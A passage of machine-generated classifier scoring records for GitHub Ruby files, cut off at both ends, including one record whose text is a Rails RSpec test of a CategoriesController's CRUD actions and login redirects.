{"0": 0.0021733725918934173, "1": 0.006022433678318075, "2": 0.0764373024137035, "3": 0.40951630773412245, "4": 0.5058505835819626}, "pretraining_utility": {"-2": 0.006401218017389528, "-1": 0.055839606330681864, "0": 0.3476034635247429, "1": 0.5160058632610033, "2": 0.07414984886618252}, "math_density": {"0": 0.9969191388609269, "1": 0.002169243907499384, "2": 0.0002322207398533334, "3": 0.00016386738604625981, "4": 0.0005155291056741415}, "code_density": {"0": 0.000604087372413705, "1": 0.0012277058408365629, "2": 0.04710617558743765, "3": 0.3890906471544399, "4": 0.5619713840448722}, "reasoning_density": {"0": 0.7859303596162851, "1": 0.1300908047529224, "2": 0.06010466345268608, "3": 0.015780036807978935, "4": 0.008094135370127516}, "education_level": {"none": 0.0011564800861335873, "0": 0.001676736806493232, "1": 0.011980012790859522, "2": 0.6359534326295301, "3": 0.31127756177916194, "4": 0.037955775907821745}, "creative_writing_quality": {"not_applicable": 0.9990856486990725, "-2": 7.233663250921188e-05, "-1": 0.00015076234471093078, "0": 0.0004831725120793976, "1": 0.00015621196428100594, "2": 5.186784734698625e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.7704701037025586e-05, "Art & Design": 0.0006170227606159724, "Law & Crime": 0.0009133618488261565, "Education & Careers": 6.056204327895455e-05, "Entertainment & Media": 2.9983787998656134e-05, "Fashion & Beauty": 2.703343554367337e-05, "Business, Economics & Finance": 0.004304065963313059, "Food & Dining": 3.207180138002433e-05, "Games & Gaming": 8.31422788144358e-05, "Electronics & Hardware": 8.205954065556384e-05, "Health, Healthcare & Wellness": 3.169887909771391e-05, "History & Geography": 3.426465979087351e-05, "Home, Pets & Hobbies": 3.452194185109108e-05, "Industry & Production": 6.598305372427017e-05, "Language, Literature & Philosophy": 5.1977778457671724e-05, "Politics & Government": 7.064071244093235e-05, "Religion & Spirituality": 3.0116704272106732e-05, "Science, Mathematics & Engineering": 0.00012773521760037283, "Relationships & Community": 2.5907252164435946e-05, "Software Usage & Applications": 0.003144912412188116, "Programming & Software Engineering": 0.9895968259789927, "Sports & Fitness": 4.712761597566908e-05, "Vehicles & Transportation": 2.3009898081147094e-05, "Travel & Tourism": 4.6549209736727956e-05, "Other / Uncovered Subject": 0.000402989714522785, "Unknown / Insufficient Content": 6.873080963989517e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.000830735163934298, "Art & Design": 0.008498959329389776, "Law & Crime": 0.10091768089203651, "Education & Careers": 0.000603699860113117, "Entertainment & Media": 0.0005353610450980664, "Fashion & Beauty": 0.0003595905147926856, "Business, Economics & Finance": 0.021957736966860448, "Food & Dining": 0.0002720652526032188, "Games & Gaming": 0.0006046234659912405, "Electronics & Hardware": 0.0005300883342445461, "Health, Healthcare & Wellness": 0.0003430614985036913, "History & Geography": 0.00044138360521386725, "Home, Pets & Hobbies": 0.0003542629703960813, "Industry & Production": 0.000433911139515075, "Language, Literature & Philosophy": 0.0003893837283648332, "Politics & Government": 0.0008177957536513407, "Religion & Spirituality": 0.0004784039619724787, "Science, Mathematics & Engineering": 0.0005910845028578117, "Relationships & Community": 0.00023585962938219398, "Software Usage & Applications": 0.01700775319023779, "Programming & Software Engineering": 0.020801284795778786, "Sports & Fitness": 0.00030107986294812566, "Vehicles & Transportation": 0.0001788904001603689, "Travel & Tourism": 0.0004597662737157377, "Other / Uncovered Subject": 0.0021946284782471395, "NONE": 0.8198609093839908}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10298, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10298, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:32:10.988631+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "d3846184-5cac-4baf-867d-4345dbfe0cb2", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "4369b8c4d1374d5be78dd4f2ce67b436e3522a09b202e1d7860b04510e33ec75", "source_metadata": {"uuid": "d3846184-5cac-4baf-867d-4345dbfe0cb2", "repo_name": "HKablan/Demo", "relative_path": "forms/settings_form_decorator.rb", "category": "TOOL", "algo_rel_score": 0.8035740256309509, "quality_score": 7.008575439453125, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 5, "repo_created_at": "2025-02-05T10:04:26.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 5}, "file_meta": {"content_id": "d72786a264eaaab8a28c354791d050e51c928e79", "size_bytes": 6898, "file_timestamp": 1738756901, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "adbf799484c74f706c9de509f72b3a5bbabc8461"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 5, "repo_created_at": "2025-02-05T10:04:26.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 5}, "file_meta": {"content_id": "d72786a264eaaab8a28c354791d050e51c928e79", "size_bytes": 6898, "file_timestamp": 1738756901, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "adbf799484c74f706c9de509f72b3a5bbabc8461", "url": "https://github.com/HKablan/Demo/blob/adbf799484c74f706c9de509f72b3a5bbabc8461/forms/settings_form_decorator.rb"}, "gpt4o_tokens": 1685, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.3307157439740585, "noise_severity": 0.895865868849679, "missing_content_severity": 0.007695905659942699, "factual_density": 3.4108482960359425, "pretraining_utility": 0.5956635186279073, "math_density": 0.005187403968041396, "code_density": 3.5105975346585203, "reasoning_density": 0.33001678356274144, "education_level": 2.37228616873144, "creative_writing_quality": -0.038812161932045786}, "score_applicability": {"education_level": 0.9988435199138666, "creative_writing_quality": 0.0009143513009275324}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/jnsoo123/Depot/blob/5c762310ac3e8be5d53053b797e6fba1051bd948/spec/controllers/categories_controller_spec.rb", "id": "ruby-0-0953927da68f569ffd121e5c8a2e771b", "text": "require 'rails_helper'\n\ndescribe CategoriesController, type: :controller do\n let(:category) { create(:category) }\n let(:user) { create(:user) }\n \n describe 'GET #index' do\n context 'logged in' do\n before(:each) do\n sign_in user\n get :index\n end\n \n it 'gets paginated array of categories' do\n expect(assigns(:categories).pluck(:id)).to eq(Category.pluck(:id).first(10))\n end\n \n it { expect(response).to render_template :index }\n end\n \n context 'logged out' do\n it 'redirects to sign up page' do\n get :index\n expect(response).to redirect_to new_user_session_path\n end\n end\n end\n \n describe 'GET #show' do\n context 'logged in' do\n before(:each) do\n sign_in user \n get :show, id: category\n end\n \n it { expect(response).to redirect_to categories_path }\n end\n \n context 'logged out' do\n it 'redirects to sign in page' do\n get :show, id: category\n expect(response).to redirect_to new_user_session_path\n end\n end\n end\n \n describe 'GET #new' do\n context 'logged in' do\n before(:each) { sign_in user }\n \n it 'renders the :new template' do\n get :new\n expect(response).to render_template(:new)\n end\n end\n \n context 'logged out' do\n it 'redirects to sign in page' do\n get :new\n expect(response).to redirect_to new_user_session_path\n end\n end\n end\n \n describe 'GET #edit' do\n context 'logged in' do\n before(:each) do \n sign_in user \n get :edit, id: category\n end\n \n it 'gets the requested @category' do\n expect(assigns(:category)).to eq(category)\n end\n \n it { expect(response).to render_template :edit }\n end\n \n context 'logged out' do\n it 'redirects to sign_in page' do\n get :edit, id: category\n expect(response).to redirect_to new_user_session_path\n end\n end\n end\n \n describe 'POST #create' do\n context 'logged in' do\n before(:each) { sign_in user }\n \n context 'with valid attributes' do \n it 'creates a new category' do\n expect { post :create, category: attributes_for(:category) }.to change(Category,:count).by(1)\n end\n \n it 'redirects to category page' do\n post :create, category: attributes_for(:category)\n expect(response).to redirect_to categories_path\n end\n end\n \n context 'with invalid attributes' do\n it 'doesn\\'t create a new category' do\n expect { post :create, category: attributes_for(:invalid_category) }.to change(Category,:count).by(0) \n end\n \n it 're-renders the new page' do\n post :create, category: attributes_for(:invalid_category)\n expect(response).to render_template :new\n end\n end\n end\n \n context 'logged out' do\n it 'redirects to sign up page' do\n post :create, category: attributes_for(:category)\n expect(response).to redirect_to new_user_session_path\n end\n end\n end\n \n describe 'PATCH #update' do\n context 'logged in' do\n before(:each) do \n sign_in user\n @category = create :category, name: 'old_name'\n end\n \n context 'with valid attributes' do\n it 'updates the category' do\n put :update, id: @category, category: attributes_for(:category, name: 'new_name') \n @category.reload\n expect(@category.name).to eq('new_name')\n end\n \n it 'redirects to category page' do\n put :update, id: @category, category: attributes_for(:category)\n expect(response).to redirect_to categories_path\n end\n end\n \n context 'with invalid attributes' do\n before(:each) do\n put :update, id: @category, category: attributes_for(:invalid_category)\n @category.reload\n end\n \n it 'shouldn\\'t update the requested category' do\n expect(@category.name).to eq('old_name')\n end\n \n it { expect(response).to render_template :edit }\n end\n \n end\n \n context 'logged out' do\n it 'redirects to sign in page' do\n put :update, id: create(:category), category: attributes_for(:category)\n expect(response).to redirect_to new_user_session_path\n end\n end\n end\n \n describe 'DELETE #destroy' do\n context 'logged in' do\n before(:each) do \n sign_in user\n @category = create(:category)\n end\n \n it 'deletes the chosen category' do\n expect { delete :destroy, id: @category }.to change(Category, :count).by(-1)\n end\n \n it 'redirects to category page' do\n delete :destroy, id: @category\n expect(response).to redirect_to categories_path\n end\n end\n \n context 'logged out' do\n it 'redirects to sign in page' do\n delete :destroy, id: create(:category)\n expect(response).to redirect_to new_user_session_path\n end\n end\n end\nend", "text_preview": "require 'rails_helper' describe CategoriesController, type: :controller do let(:category) { create(:category) } let(:user) { create(:user) } describe 'GET #index' do context 'logged in' do before(:each) do sign_in user get :index end it 'ge", "input_sha256": "ced885fee80d5d91d804b915cd519e3e1941ce0edbdd8f30a6cf27f39e8e3da3", "text_sha256": "0953927da68f569ffd121e5c8a2e771b4d02833be4e88ae9b304d07abeddc316", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16053, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.218114761093112, "noise_severity": 0.0183720204386469, "missing_content_severity": 0.002863141560179739, "factual_density": 3.3439442588585333, "pretraining_utility": 0.5600804351388106, "math_density": 0.06360232064197587, "code_density": 3.8943176829180692, "reasoning_density": 0.7785258550940742, "education_level": 2.4728308865921336, "creative_writing_quality": -0.11696593568233835}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.02711425302768533, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.989417390957339, "secondary": 0.9541137067565086, "tertiary": 0.9824068403506152, "structured_records": 0.28216412326721596, "procedural_steps": 0.015050049259428683, "worked_solution": 0.12520674745859153, "contextual_dialogue": 5.584801274011979e-06, "content_quality": 0.581101368206601, "noise_severity": 0.9846899829677942, "missing_content_severity": 0.9976140486998503, "factual_density": 0.45328688238211123, "pretraining_utility": 0.46325987725180173, "math_density": 0.9469980661316868, "code_density": 0.9119314024317241, "reasoning_density": 0.3512284540882714, "education_level": 0.46341155815333623, "creative_writing_quality": 0.9989513208324764, "primary_topic": 0.9960600188012422, "secondary_topic": 0.9781534647470846}, "probability_margin": {"primary": 0.9839509385035385, "secondary": 0.9327094372282277, "tertiary": 0.976091484137666, "education_level": 0.15992104988484768, "creative_writing_quality": 0.9986050541391529, "primary_topic": 0.9953796014015607, "secondary_topic": 0.9672024776519187}, "raw_probabilities": {"primary": {"Academic Writing": 7.336189235289399e-05, "Content Listing": 6.020834320052362e-05, "Creative Writing": 3.063825850682979e-05, "Customer Support Page": 1.6421403965185017e-05, "Q&A Forum": 1.9688271361805824e-05, "Discussion Thread": 1.3203559950493713e-05, "Comment Section": 2.1596781236209108e-05, "Missing Content": 2.6537527773299263e-05, "Knowledge Article": 0.00010640471272010755, "Legal Notices": 3.9637151347992156e-05, "News Article": 8.07681067402994e-06, "Organizational Announcement": 1.8014352174300678e-05, "Nonfiction Writing": 1.8098134842571078e-05, "Organizational About Page": 2.036416967311011e-05, "Personal About Page": 2.2146180017512833e-05, "Personal Blog": 1.2053933508508051e-05, "Product Page": 1.3129952197609212e-05, "Spam / Ads": 1.5869692551886553e-05, "Structured Data": 0.0028831445829613426, "Technical Writing": 0.9898583330007833, "Transcript / Interview": 3.224687971846825e-05, "Tutorial / How-To Guide": 0.000771174806866656, "User Reviews": 1.2255104370506063e-05, "Other / Unknown": 0.0059073944972448085}, "secondary": {"Academic Writing": 0.0001943852311323882, "Content Listing": 0.00021330501150389073, "Creative Writing": 0.00016091942546004844, "Customer Support Page": 8.768253234853071e-05, "Q&A Forum": 7.017318925880029e-05, "Discussion Thread": 5.992207717737559e-05, "Comment Section": 9.478152220402656e-05, "Missing Content": 0.00022994479947343737, "Knowledge Article": 0.0006035434126481806, "Legal Notices": 0.00012362288930465137, "News Article": 8.402720953524442e-05, "Organizational Announcement": 8.024204925273695e-05, "Nonfiction Writing": 7.123741417784138e-05, "Organizational About Page": 9.63159903522712e-05, "Personal About Page": 7.913064300279312e-05, "Personal Blog": 7.260272664412063e-05, "Product Page": 5.07289499388212e-05, "Spam / Ads": 7.584561065642789e-05, "Structured Data": 0.015606383869078, "Technical Writing": 0.02331619841342634, "Transcript / Interview": 0.00012649732665741349, "Tutorial / How-To Guide": 0.0024339124074577887, "User Reviews": 4.296165765463905e-05, "NONE": 0.9560256356416541}, "tertiary": {"Academic Writing": 8.502699595358757e-05, "Content Listing": 0.00012306470147740038, "Creative Writing": 6.889752111843527e-05, "Customer Support Page": 3.991869601270917e-05, "Q&A Forum": 2.7454301213404234e-05, "Discussion Thread": 2.4411992767424482e-05, "Comment Section": 4.684296157892308e-05, "Missing Content": 0.0002073611846140366, "Knowledge Article": 0.0003269197648587288, "Legal Notices": 9.938008850165507e-05, "News Article": 3.921593144287578e-05, "Organizational Announcement": 3.4668273651494586e-05, "Nonfiction Writing": 3.818113608665557e-05, "Organizational About Page": 5.383268507105939e-05, "Personal About Page": 3.5034006249321377e-05, "Personal Blog": 3.0279023742566126e-05, "Product Page": 2.719315057071113e-05, "Spam / Ads": 3.8234918586958214e-05, "Structured Data": 0.007048404531673516, "Technical Writing": 0.006571132514201756, "Transcript / Interview": 5.085240318853389e-05, "Tutorial / How-To Guide": 0.0018233233583546686, "User Reviews": 2.048118974410305e-05, "NONE": 0.9831398886693395}, "structured_records": {"false": 0.717835876732784, "true": 0.28216412326721596}, "procedural_steps": {"false": 0.9849499507405713, "true": 0.015050049259428683}, "worked_solution": {"false": 0.8747932525414085, "true": 0.12520674745859153}, "contextual_dialogue": {"false": 0.999994415198726, "true": 5.584801274011979e-06}, "content_quality": {"-2": 0.003271481647566511, "-1": 0.009594680850739883, "0": 0.1132779918853041, "1": 0.513459285993794, "2": 0.3603965596225955}, "noise_severity": {"0": 0.9838105446307559, "1": 0.01471226102153332, "2": 0.0009817105794842787, "3": 0.0002855968147614805, "4": 0.0002098869534651466}, "missing_content_severity": {"0": 0.9984401012045498, "1": 0.0006474529708826869, "2": 0.0006052928925631956, "3": 0.0002235089238460224, "4": 8.364400815814828e-05}, "factual_density": {"0": 0.003844723711338709, "1": 0.007399546483386861, "2": 0.10293386870764783, "3": 0.41261046943065544, "4": 0.47321139166697107}, "pretraining_utility": {"-2": 0.00890179752192962, "-1": 0.07745046853316004, "0": 0.3603975264474048, "1": 0.45116591627918146, "2": 0.10208429121832417}, "math_density": {"0": 0.9557249439964898, "1": 0.03573584469704006, "2": 0.002543135519222889, "3": 0.0012040982424989103, "4": 0.004791977544748324}, "code_density": {"0": 0.0003276838014722922, "1": 0.0006048398339698914, "2": 0.015257639090440292, "3": 0.0720417841932516, "4": 0.9117680530808658}, "reasoning_density": {"0": 0.6331979043550308, "1": 0.11029542369846618, "2": 0.15165679485032865, "3": 0.05448266668974681, "4": 0.05036721040642759}, "education_level": {"none": 0.001007878685921169, "0": 0.0012409888885574244, "1": 0.007352703718647677, "2": 0.5528429651277802, "3": 0.3929219152429325, "4": 0.044633548336161115}, "creative_writing_quality": {"not_applicable": 0.9991261006937303, "-2": 7.671245605667756e-05, "-1": 0.00013185734111463546, "0": 0.0005210465545774177, "1": 0.00010550010586385147, "2": 3.878284865708081e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.385163733734402e-05, "Art & Design": 4.5720651605868115e-05, "Law & Crime": 3.234687677440749e-05, "Education & Careers": 5.098117056763613e-05, "Entertainment & Media": 2.6762378458127368e-05, "Fashion & Beauty": 2.950618660093586e-05, "Business, Economics & Finance": 0.0007619872745478708, "Food & Dining": 6.420949717361422e-05, "Games & Gaming": 0.00024020295391118172, "Electronics & Hardware": 6.539753495066704e-05, "Health, Healthcare & Wellness": 2.494008216038267e-05, "History & Geography": 2.7258667814329144e-05, "Home, Pets & Hobbies": 3.807030601539634e-05, "Industry & Production": 4.584353599922347e-05, "Language, Literature & Philosophy": 4.190502365636902e-05, "Politics & Government": 2.3797323138410292e-05, "Religion & Spirituality": 3.1118636287938085e-05, "Science, Mathematics & Engineering": 0.00013012204882212788, "Relationships & Community": 2.4105627519264294e-05, "Software Usage & Applications": 0.0008319551380952636, "Programming & Software Engineering": 0.996211556539656, "Sports & Fitness": 5.867029437972687e-05, "Vehicles & Transportation": 0.0006339389956298275, "Travel & Tourism": 5.665792781831146e-05, "Other / Uncovered Subject": 0.0003798586093849309, "Unknown / Insufficient Content": 7.923508169477293e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00018194150920716336, "Art & Design": 0.00021745103901672091, "Law & Crime": 0.00019086591240521293, "Education & Careers": 0.00017601108610629427, "Entertainment & Media": 0.00012700038201895547, "Fashion & Beauty": 7.485559005412573e-05, "Business, Economics & Finance": 0.0018086002588383404, "Food & Dining": 0.00011840153427634827, "Games & Gaming": 0.0003442099613372485, "Electronics & Hardware": 0.0001749441590202993, "Health, Healthcare & Wellness": 7.339984150612709e-05, "History & Geography": 7.282516675048822e-05, "Home, Pets & Hobbies": 8.987259286660791e-05, "Industry & Production": 9.065853436178552e-05, "Language, Literature & Philosophy": 0.00010114346241195363, "Politics & Government": 8.708138158900282e-05, "Religion & Spirituality": 0.00010763908953164439, "Science, Mathematics & Engineering": 0.0003426057092640062, "Relationships & Community": 6.396485245803207e-05, "Software Usage & Applications": 0.0035143550886723098, "Programming & Software Engineering": 0.011791238451047353, "Sports & Fitness": 9.399933688583914e-05, "Vehicles & Transportation": 0.0004679139488592069, "Travel & Tourism": 0.00013305648628572506, "Other / Uncovered Subject": 0.0005622485222632859, "NONE": 0.978993716102966}}, "probabilities": {"primary": {"Academic Writing": 7.336189235289399e-05, "Content Listing": 6.020834320052362e-05, "Creative Writing": 3.063825850682979e-05, "Customer Support Page": 1.6421403965185017e-05, "Q&A Forum": 1.9688271361805824e-05, "Discussion Thread": 1.3203559950493713e-05, "Comment Section": 2.1596781236209108e-05, "Missing Content": 2.6537527773299263e-05, "Knowledge Article": 0.00010640471272010755, "Legal Notices": 3.9637151347992156e-05, "News Article": 8.07681067402994e-06, "Organizational Announcement": 1.8014352174300678e-05, "Nonfiction Writing": 1.8098134842571078e-05, "Organizational About Page": 2.036416967311011e-05, "Personal About Page": 2.2146180017512833e-05, "Personal Blog": 1.2053933508508051e-05, "Product Page": 1.3129952197609212e-05, "Spam / Ads": 1.5869692551886553e-05, "Structured Data": 0.0028831445829613426, "Technical Writing": 0.9898583330007833, "Transcript / Interview": 3.224687971846825e-05, "Tutorial / How-To Guide": 0.000771174806866656, "User Reviews": 1.2255104370506063e-05, "Other / Unknown": 0.0059073944972448085}, "secondary": {"Academic Writing": 0.00019438523113238823, "Content Listing": 0.00021330501150389075, "Creative Writing": 0.00016091942546004847, "Customer Support Page": 8.768253234853073e-05, "Q&A Forum": 7.01731892588003e-05, "Discussion Thread": 5.9922077177375595e-05, "Comment Section": 9.478152220402657e-05, "Missing Content": 0.0002299447994734374, "Knowledge Article": 0.0006035434126481807, "Legal Notices": 0.0001236228893046514, "News Article": 8.402720953524443e-05, "Organizational Announcement": 8.024204925273696e-05, "Nonfiction Writing": 7.123741417784139e-05, "Organizational About Page": 9.631599035227121e-05, "Personal About Page": 7.913064300279314e-05, "Personal Blog": 7.260272664412064e-05, "Product Page": 5.072894993882121e-05, "Spam / Ads": 7.58456106564279e-05, "Structured Data": 0.015606383869078002, "Technical Writing": 0.023316198413426345, "Transcript / Interview": 0.0001264973266574135, "Tutorial / How-To Guide": 0.002433912407457789, "User Reviews": 4.296165765463906e-05, "NONE": 0.9560256356416542}, "tertiary": {"Academic Writing": 8.502699595358757e-05, "Content Listing": 0.00012306470147740038, "Creative Writing": 6.889752111843527e-05, "Customer Support Page": 3.991869601270917e-05, "Q&A Forum": 2.7454301213404234e-05, "Discussion Thread": 2.4411992767424482e-05, "Comment Section": 4.684296157892308e-05, "Missing Content": 0.0002073611846140366, "Knowledge Article": 0.0003269197648587288, "Legal Notices": 9.938008850165507e-05, "News Article": 3.921593144287578e-05, "Organizational Announcement": 3.4668273651494586e-05, "Nonfiction Writing": 3.818113608665557e-05, "Organizational About Page": 5.383268507105939e-05, "Personal About Page": 3.5034006249321377e-05, "Personal Blog": 3.0279023742566126e-05, "Product Page": 2.719315057071113e-05, "Spam / Ads": 3.8234918586958214e-05, "Structured Data": 0.007048404531673516, "Technical Writing": 0.006571132514201756, "Transcript / Interview": 5.085240318853389e-05, "Tutorial / How-To Guide": 0.0018233233583546686, "User Reviews": 2.048118974410305e-05, "NONE": 0.9831398886693395}, "structured_records": {"false": 0.717835876732784, "true": 0.28216412326721596}, "procedural_steps": {"false": 0.9849499507405713, "true": 0.015050049259428683}, "worked_solution": {"false": 0.8747932525414085, "true": 0.12520674745859153}, "contextual_dialogue": {"false": 0.999994415198726, "true": 5.584801274011979e-06}, "content_quality": {"-2": 0.003271481647566511, "-1": 0.009594680850739883, "0": 0.1132779918853041, "1": 0.513459285993794, "2": 0.3603965596225955}, "noise_severity": {"0": 0.9838105446307557, "1": 0.014712261021533316, "2": 0.0009817105794842785, "3": 0.00028559681476148045, "4": 0.00020988695346514655}, "missing_content_severity": {"0": 0.99844010120455, "1": 0.000647452970882687, "2": 0.0006052928925631957, "3": 0.00022350892384602242, "4": 8.36440081581483e-05}, "factual_density": {"0": 0.0038447237113387093, "1": 0.007399546483386862, "2": 0.10293386870764784, "3": 0.4126104694306555, "4": 0.4732113916669711}, "pretraining_utility": {"-2": 0.00890179752192962, "-1": 0.07745046853316004, "0": 0.3603975264474048, "1": 0.45116591627918146, "2": 0.10208429121832417}, "math_density": {"0": 0.9557249439964898, "1": 0.03573584469704006, "2": 0.002543135519222889, "3": 0.0012040982424989103, "4": 0.004791977544748324}, "code_density": {"0": 0.00032768380147229223, "1": 0.0006048398339698915, "2": 0.015257639090440294, "3": 0.07204178419325162, "4": 0.911768053080866}, "reasoning_density": {"0": 0.6331979043550308, "1": 0.11029542369846618, "2": 0.15165679485032865, "3": 0.05448266668974681, "4": 0.05036721040642759}, "education_level": {"none": 0.001007878685921169, "0": 0.0012409888885574244, "1": 0.007352703718647677, "2": 0.5528429651277802, "3": 0.3929219152429325, "4": 0.044633548336161115}, "creative_writing_quality": {"not_applicable": 0.9991261006937303, "-2": 7.671245605667756e-05, "-1": 0.00013185734111463546, "0": 0.0005210465545774177, "1": 0.00010550010586385147, "2": 3.878284865708081e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.3851637337344024e-05, "Art & Design": 4.572065160586812e-05, "Law & Crime": 3.23468767744075e-05, "Education & Careers": 5.098117056763614e-05, "Entertainment & Media": 2.676237845812737e-05, "Fashion & Beauty": 2.9506186600935863e-05, "Business, Economics & Finance": 0.0007619872745478709, "Food & Dining": 6.420949717361423e-05, "Games & Gaming": 0.00024020295391118175, "Electronics & Hardware": 6.539753495066705e-05, "Health, Healthcare & Wellness": 2.4940082160382673e-05, "History & Geography": 2.7258667814329148e-05, "Home, Pets & Hobbies": 3.8070306015396345e-05, "Industry & Production": 4.5843535999223475e-05, "Language, Literature & Philosophy": 4.1905023656369025e-05, "Politics & Government": 2.3797323138410296e-05, "Religion & Spirituality": 3.111863628793809e-05, "Science, Mathematics & Engineering": 0.0001301220488221279, "Relationships & Community": 2.4105627519264298e-05, "Software Usage & Applications": 0.0008319551380952637, "Programming & Software Engineering": 0.9962115565396561, "Sports & Fitness": 5.867029437972688e-05, "Vehicles & Transportation": 0.0006339389956298276, "Travel & Tourism": 5.665792781831147e-05, "Other / Uncovered Subject": 0.000379858609384931, "Unknown / Insufficient Content": 7.923508169477295e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00018194150920716333, "Art & Design": 0.00021745103901672086, "Law & Crime": 0.00019086591240521288, "Education & Careers": 0.00017601108610629425, "Entertainment & Media": 0.00012700038201895545, "Fashion & Beauty": 7.485559005412572e-05, "Business, Economics & Finance": 0.00180860025883834, "Food & Dining": 0.00011840153427634824, "Games & Gaming": 0.00034420996133724846, "Electronics & Hardware": 0.00017494415902029927, "Health, Healthcare & Wellness": 7.339984150612708e-05, "History & Geography": 7.282516675048821e-05, "Home, Pets & Hobbies": 8.98725928666079e-05, "Industry & Production": 9.06585343617855e-05, "Language, Literature & Philosophy": 0.00010114346241195361, "Politics & Government": 8.70813815890028e-05, "Religion & Spirituality": 0.00010763908953164436, "Science, Mathematics & Engineering": 0.00034260570926400615, "Relationships & Community": 6.396485245803206e-05, "Software Usage & Applications": 0.003514355088672309, "Programming & Software Engineering": 0.01179123845104735, "Sports & Fitness": 9.399933688583911e-05, "Vehicles & Transportation": 0.0004679139488592068, "Travel & Tourism": 0.00013305648628572503, "Other / Uncovered Subject": 0.0005622485222632858, "NONE": 0.9789937161029658}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 